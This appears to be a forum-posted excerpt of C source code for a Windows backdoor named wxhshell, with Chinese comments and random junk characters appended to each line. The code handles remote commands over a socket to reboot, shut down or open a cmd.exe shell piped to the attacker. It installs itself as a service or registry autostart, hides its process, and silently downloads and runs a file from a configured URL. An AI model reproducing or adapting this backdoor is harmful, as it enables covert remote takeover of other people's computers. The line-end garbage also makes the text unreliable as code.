  else X6+2~'*t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I%.96V  
  } 7+I%0U}m  
  else { +~gqP k  
_R&}CP  
    switch(cmd[0]) { /i$-ws-  
  wzLR]<6G  
  // 帮助 v35wlt^}  
  case '?': { wYZ"fusT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %9D$N  
    break; eBZa 9X$  
  } cY%[UK$l  
  // 安装 XkB^.[B  
  case 'i': { 'dE G\?v9  
    if(Install()) q+A^JjzT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ZyHp=RN)  
    else q4].C|7   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RYU(z;+0p  
    break; ,XD'f  
    } 0((3q'[ <  
  // 卸载 #41fRmzC  
  case 'r': { kOv2E]  
    if(Uninstall()) [;bZQ6JR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r"yA=d'c  
    else JsNqijVC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F[q:jY  
    break; ye-o'%{  
    } ^P5+ _P  
  // 显示 wxhshell 所在路径 jy=dB-&  
  case 'p': { ]1A"l!yf  
    char svExeFile[MAX_PATH]; 'b#`)w@/=  
    strcpy(svExeFile,"\n\r"); 6`sOhVD  
      strcat(svExeFile,ExeFile); K<@gU\-!  
        send(wsh,svExeFile,strlen(svExeFile),0); )&G uZ  
    break; h/h`?vWu  
    } DP2 ^(d<  
  // 重启 R5`"~qP-  
  case 'b': { "qEi$a&]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ql1HaC/5)-  
    if(Boot(REBOOT)) /:]`TlAb,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'r KDw06/  
    else { =[wVRQ?  
    closesocket(wsh); wzX 1!?  
    ExitThread(0); RX-qL,dc  
    } l,FK\  
    break; dXAKk[uf  
    } Kjbz\~  
  // 关机 ~vD7BO`  
  case 'd': { //c<p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :D-xa!7  
    if(Boot(SHUTDOWN)) PJC[#>}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Vtt.j &4  
    else { "NUl7ce.R  
    closesocket(wsh); f/spJ<B).4  
    ExitThread(0); .#"O VI]#  
    } X[L6Av  
    break; ~n)!e#p  
    } C$X )I~M  
  // 获取shell +\SNaq~&  
  case 's': { ;#np~gL  
    CmdShell(wsh); \Mk;Y  
    closesocket(wsh); 't2dP,u<-  
    ExitThread(0); \3P.GS{l  
    break; Da#|}m0>  
  } (*63G4Nz\  
  // 退出 `aY{$>$S  
  case 'x': { ld~8g,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 19)fN-0Z  
    CloseIt(wsh); q 6Q;9,  
    break; DlB"o.  
    } hZ0p /Bdv  
  // 离开 FA 1E`AdU  
  case 'q': { G~Xh4*#J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L8<Yk`jx  
    closesocket(wsh); 3 y!yz3E  
    WSACleanup(); ;Qpp`  
    exit(1); AXBv']Y  
    break; P0m;AqS#R  
        }  3nfw:.  
  } 5pNbO[  
  } PP+{zy9Sb  
qaBjV6loy  
  // 提示信息 5oz[Njq4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1tvgM !.  
} '}a[9v76  
  } }s;W{Q  
># FO0R  
  return; Lp\89tB>  
} &]VCZQL  
fM jn8.  
// shell模块句柄 3zJbb3e  
int CmdShell(SOCKET sock) ZN)a}\]  
{ %G9: M;|'  
STARTUPINFO si; O=os ,'"  
ZeroMemory(&si,sizeof(si)); vF, !8e'v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RulZh2C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n7~!klF-  
PROCESS_INFORMATION ProcessInfo; 'L#qR)t  
char cmdline[]="cmd"; |RqCw7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {p -b,J9~a  
  return 0; (5@9j  
} 8+Lig  
5TlPs_o  
// 自身启动模式 .Z=D|&!  
int StartFromService(void) WeGT}  
{ MRvtuE|g  
typedef struct E.v~<[g  
{ 7p"" 5hw  
  DWORD ExitStatus; s&S8P;K|  
  DWORD PebBaseAddress; l" y==y  
  DWORD AffinityMask; ;^)(q<]  
  DWORD BasePriority; 5m")GWQaP@  
  ULONG UniqueProcessId; p#}38`  
  ULONG InheritedFromUniqueProcessId; l 6wX18~XJ  
}   PROCESS_BASIC_INFORMATION; \LB =_W$  
kq6K<e4jO  
PROCNTQSIP NtQueryInformationProcess; 0dhJ# [Y  
ZOl =zn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZVotIQ/Q'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B 95}_q  
Tfc5R;Rw  
  HANDLE             hProcess; E?|"?R,,,  
  PROCESS_BASIC_INFORMATION pbi;  5#JGNxO  
DKL< "#.7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L|G!of[8n  
  if(NULL == hInst ) return 0; kzCD>m  
['pk/h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X<s']C9c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2-821Sf#h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \(_FGa4j  
w5"C<5^  
  if (!NtQueryInformationProcess) return 0; @YyTXg{ZK  
gO-C[j/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 't=\YFQ*v  
  if(!hProcess) return 0; Sc "J5^  
H`4H(KWm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gkUG*Zw  
gP.Q_/V  
  CloseHandle(hProcess); T{M~*5$  
DB'pRo+U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G.K3'^_  
if(hProcess==NULL) return 0; <Gzy*1 Q&  
U6qv8*~  
HMODULE hMod; (x9d7$2  
char procName[255]; =?UCtYN,P  
unsigned long cbNeeded; ~~ ]/<d  
GDC`\cy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WAiEINQ^)  
P8.tl"q  
  CloseHandle(hProcess); KU[eY}   
6~\z]LZ  
if(strstr(procName,"services")) return 1; // 以服务启动 uf,4GPo,  
Ee>P*7*jB  
  return 0; // 注册表启动 o[*</A }  
} '2=u<a B  
O4FW/)gq  
// 主模块 ' >> IMF  
int StartWxhshell(LPSTR lpCmdLine) W#|]m=2W  
{ ?}sh@;]*h  
  SOCKET wsl; yG58?5\9  
BOOL val=TRUE; l|-1H76  
  int port=0; ?}%Gr,tj2  
  struct sockaddr_in door; DG1  >T  
P%>? O :a  
  if(wscfg.ws_autoins) Install(); 4R\bU"+jZ_  
V#!ihL/>  
port=atoi(lpCmdLine); ay#cW.,  
-bo2"*|m  
if(port<=0) port=wscfg.ws_port; W;*rSK|(Sc  
ws5x53K  
  WSADATA data; &NV[)6!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (5?5? <  
}.|\<8_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0B)l"$W[)/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #"d.D7nA  
  door.sin_family = AF_INET; d -6[\S#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _GK^7}u  
  door.sin_port = htons(port); Q17"hO>kC  
ZC3b9:tk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4*OL^ \%  
closesocket(wsl); ]@1YgV  
return 1; rKq/=Avv  
} ?_[xpK()  
zLXmjrC  
  if(listen(wsl,2) == INVALID_SOCKET) { %JDG aG'  
closesocket(wsl); Rk^Fasg"  
return 1; =nOV!!  
} :7p0JGd  
  Wxhshell(wsl); eA&hiAP/  
  WSACleanup(); a&)0_i:r  
Pgg6(O9}B^  
return 0; c"t1E-Nsk  
BQ[1,\>  
} ` =dD6r  
{ yU1db^  
// 以NT服务方式启动 .Ozfj@ f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gs 8w/  
{ @~fg[)7M  
DWORD   status = 0; MK[l*=\s  
  DWORD   specificError = 0xfffffff; : N ^1T6v  
Ken|!rL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4cL NPl<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mm-FdP m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :SG9ygq'  
  serviceStatus.dwWin32ExitCode     = 0; XEV-D9n  
  serviceStatus.dwServiceSpecificExitCode = 0; .%`|vGF  
  serviceStatus.dwCheckPoint       = 0; )7=B]{B_  
  serviceStatus.dwWaitHint       = 0; P]T(I/\g  
(w]w 2&Y D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FQB)rxP  
  if (hServiceStatusHandle==0) return; BDxrSq,H  
:gY$/1SYD  
status = GetLastError(); C<fWDLwYqV  
  if (status!=NO_ERROR) ;_K+b,  
{ F1R91V|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5/DTE:M<  
    serviceStatus.dwCheckPoint       = 0; k);z}`7  
    serviceStatus.dwWaitHint       = 0; 8,YF>O&  
    serviceStatus.dwWin32ExitCode     = status; wq_c^Ioy  
    serviceStatus.dwServiceSpecificExitCode = specificError; &T]+g8''  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b>E%&sf  
    return; C=@BkneQ  
  } zy4AFW  
&d`Umm]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rMSB|*_  
  serviceStatus.dwCheckPoint       = 0; .=rv,PWjZ  
  serviceStatus.dwWaitHint       = 0; j2lo~J)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F}0QocD  
} gB&]kHLO  
5}9-)\8=z  
// 处理NT服务事件,比如:启动、停止 k@5#^G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u1` 8f]qt  
{ J"|)?$d]z  
switch(fdwControl) B P"PUl:  
{ ^j';4'  
case SERVICE_CONTROL_STOP: l7aGo1TcIh  
  serviceStatus.dwWin32ExitCode = 0; wc)[r~On(5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *x`z5_yfO  
  serviceStatus.dwCheckPoint   = 0; [ar:zl V8  
  serviceStatus.dwWaitHint     = 0; 4DEsB)%X  
  { cGkl=-oQ'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R%aH{UhE`  
  } J><O 51  
  return; L;nRI.  
case SERVICE_CONTROL_PAUSE: 52m^jT Sx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q6,rY(b6  
  break; ]?-56c,  
case SERVICE_CONTROL_CONTINUE: T =3te|fv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jp8=>mk  
  break; m<8j' [+  
case SERVICE_CONTROL_INTERROGATE: >tr?5iKxc  
  break; "+_]N9%)  
}; vKAHf;1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cAyR)Y!I  
} uByF*}d1  
vIU+ZdBw  
// 标准应用程序主函数 r{)d?Ho=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p$f#W  
{ (J.(Fl>^  
#lltXqvD?  
// 获取操作系统版本 6\ux;lksn*  
OsIsNt=GetOsVer(); vc6UA%/f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tt[P{mMQ  
98Srn63O  
  // 从命令行安装 ="@W)"r  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1?(BWX)7  
Qu!\Cx@  
  // 下载执行文件 <tf4j3lwH  
if(wscfg.ws_downexe) { P.qD,$-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R|V<2  
  WinExec(wscfg.ws_filenam,SW_HIDE); G&D N'bp  
} E=~H,~  
dtA- 4Ndm  
if(!OsIsNt) { ^Q!:0D*  
// 如果时win9x,隐藏进程并且设置为注册表启动 +n,8o:fU:  
HideProc();  ~Zl`Ap  
StartWxhshell(lpCmdLine); ;zs*Zd7h M  
} )@eBe^  
else |r}%AN6+  
  if(StartFromService()) n ^n' lgUT  
  // 以服务方式启动 ZhxMA*fL  
  StartServiceCtrlDispatcher(DispatchTable); +D?d)lK  
else YtW#MG$f  
  // 普通方式启动 @kvp2P+O  
  StartWxhshell(lpCmdLine); ez(4TtT  
bIp;$ZHy`K  
return 0; `6~*kCj5  
}
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只看该作者 1 发表于: 2006-10-10
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